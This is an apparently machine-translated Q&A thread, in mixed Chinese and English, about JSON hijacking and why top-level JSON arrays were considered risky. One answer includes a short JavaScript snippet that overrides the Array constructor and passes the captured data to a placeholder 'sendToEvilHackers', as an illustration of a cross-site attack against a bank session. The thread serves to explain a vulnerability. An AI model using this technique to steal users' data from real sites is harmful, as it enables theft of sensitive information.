2010-08-17 59 views

回答

38

這是因爲幾年前耶利米格羅斯曼發現了非常interesting vulnerability that affects gmail。有些人通過使用unparseable cruft來解決這個漏洞(Mr bobince在這個頁面上的技術描述太棒了。)

微軟之所以這麼說,是因爲他們還沒有修補他們的瀏覽器(還)。 (編輯:最近版本的Edge和IE 10/11已經解決了這個問題。)Mozilla認爲這是json規範中的一個漏洞,因此他們在Firefox 3中修補了它。對於我的記錄,我完全同意Mozilla,它的不幸,但每個Web應用程序開發人員將不得不捍衛他們自己對這個非常模糊的漏洞。

+4

發送JSON數組中的敏感信息仍然2017年的安全風險? – jrahhali 2017-04-06 12:40:17

+0

@jrahhali這個問題值得自己發帖,也許security.stackexchange.com會是一個好地方。 – rook 2017-04-06 17:59:56

+0

看起來像某人所做的:https://security.stackexchange.com/q/155518 – 2017-11-09 14:47:58

10

我認爲這是因爲Array()構造函數可以重新定義。然而,這個問題並不是真正獨特的陣列。

我認爲攻擊(或一個可能的方式)是這樣的:

function Array(n) { 
    var self = this; 
    setTimeout(function() { 
    sendToEvilHackers(self); 
    }, 10); 
    return this; 
} 

瀏覽器(或某些瀏覽器),使用該構造的[n, n, n]數組符號。因此,CSRF攻擊可以利用與銀行的公開會話,使用<script>標籤訪問已知的JSON網址,然後您擁有poof

+3

我不明白 - 將JSON中的數組向下移動到屬性中並不能阻止這種類型的攻擊。返回'{「d」:[1,2,3]}'和返回'[1,2,3]'一樣容易。 – 2010-08-17 15:42:58

+0

我同意 - 這就是我說的問題不僅僅是陣列問題。 – Pointy 2010-08-17 18:23:28

+35

不正確。 JavaScript中一行開頭的「{」被解釋爲代碼塊,而不是對象字面值。因此,你的'{「d」:[1,2,3]}'不是一個有效的腳本,並且不會被瀏覽器執行。試試吧:) – fletom 2012-03-02 18:16:19

相關問題